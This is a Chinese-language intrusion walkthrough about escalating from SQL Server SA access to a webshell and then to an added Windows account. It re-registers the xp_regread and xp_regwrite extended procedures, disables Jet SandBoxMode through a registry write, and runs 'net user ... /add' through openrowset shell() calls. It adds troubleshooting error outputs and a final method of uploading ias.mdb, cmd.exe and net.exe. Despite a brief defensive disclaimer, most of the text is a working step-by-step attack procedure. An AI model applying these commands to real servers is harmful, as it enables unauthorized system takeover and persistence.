通過(guò)重建方法獲取webshell
獲取webshell是黑客入侵服務(wù)器想要提權(quán)的必要手段,如何防止黑客獲取webshell成為了安全管理員所要思考的問(wèn)題。我們通過(guò)以下的入侵實(shí)例,使網(wǎng)絡(luò)安全管理員能夠分析入侵情況,避免黑客獲取webshell的情況發(fā)生。
今天突然發(fā)現(xiàn)有一個(gè)SA權(quán)限。服務(wù)器管理員將大部份擴(kuò)展都刪除了。最后自己重建sp_makewebtask存儲(chǔ)才搞到一個(gè)webshell了。
當(dāng)然有了webshell,無(wú)法滿足我們貪婪的欲望。開(kāi)始測(cè)試提權(quán)。有serv-u,但是提權(quán)失敗了。也許大家會(huì)說(shuō)用back log來(lái)提權(quán)。但是那個(gè)太慢了,要重啟機(jī)器,會(huì)影響對(duì)方業(yè)務(wù),同時(shí)又會(huì)給對(duì)方留下不好的印像。有人也許會(huì)說(shuō)用讀取系統(tǒng)賬號(hào)的注冊(cè)表,導(dǎo)入導(dǎo)出,克隆賬號(hào),這個(gè)辦法也可行,但由于并非黑對(duì)方主機(jī),還是要保證對(duì)方系統(tǒng)的安整性比較好。(也許是心理因素,^_^)
最后只好試試沙盒模式。很多人SA直接用沙盒模式成功了好多機(jī)器,但我從來(lái)沒(méi)實(shí)踐過(guò),也不太清楚成功率如何。只好拿他當(dāng)回肉雞嘗試了。
由于擴(kuò)展被刪除,先恢復(fù)對(duì)注冊(cè)表的讀寫(xiě)存儲(chǔ)。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修復(fù)沙盒的保護(hù)模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已經(jīng)變成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后調(diào)用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保護(hù)模式未“關(guān)閉”,會(huì)報(bào)錯(cuò):
服務(wù)器: 消息 7357,級(jí)別 16,狀態(tài) 2,行 1
未能處理對(duì)象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對(duì)象中沒(méi)有任何列。
OLE DB 錯(cuò)誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
2.如果.mdb不存在或是輸入路徑錯(cuò)誤
服務(wù)器: 消息 7399,級(jí)別 16,狀態(tài) 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 報(bào)錯(cuò)。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 錯(cuò)誤跟蹤[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。
3.如果輸入過(guò)程中多了一些空格,也會(huì)報(bào)錯(cuò)。尤其要注意這點(diǎn),很多人直接網(wǎng)上找文章復(fù)制粘貼進(jìn)去執(zhí)行。
服務(wù)器: 消息 7357,級(jí)別 16,狀態(tài) 2,行 1
未能處理對(duì)象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對(duì)象中沒(méi)有任何列。
OLE DB 錯(cuò)誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
4.如果mdb權(quán)限和cmd.exe權(quán)限不對(duì),同樣會(huì)也出現(xiàn)問(wèn)題。
當(dāng)mdb權(quán)限不對(duì)時(shí),
服務(wù)器: 消息 7320,級(jí)別 16,狀態(tài) 2,行 1
未能對(duì) OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 執(zhí)行查詢。
[OLE/DB provider returned message: 未知]
OLE DB 錯(cuò)誤跟蹤[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。
5.如果net權(quán)限不對(duì)時(shí),卻沒(méi)有任何提示。
最終的提權(quán)辦法就是在當(dāng)前的web目錄下面上傳系統(tǒng)的ias.mdb和cmd.exe,net.exe三個(gè)文件。執(zhí)行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
成功增加一個(gè)計(jì)算機(jī)用戶。
通過(guò)重建方法獲取webshell是一個(gè)可行的入侵手段,不過(guò)我們還是要提示大家,實(shí)例僅供參考,其最終目的還是希望企業(yè)安全管理員能夠加強(qiáng)防護(hù)意識(shí)。
【編輯推薦】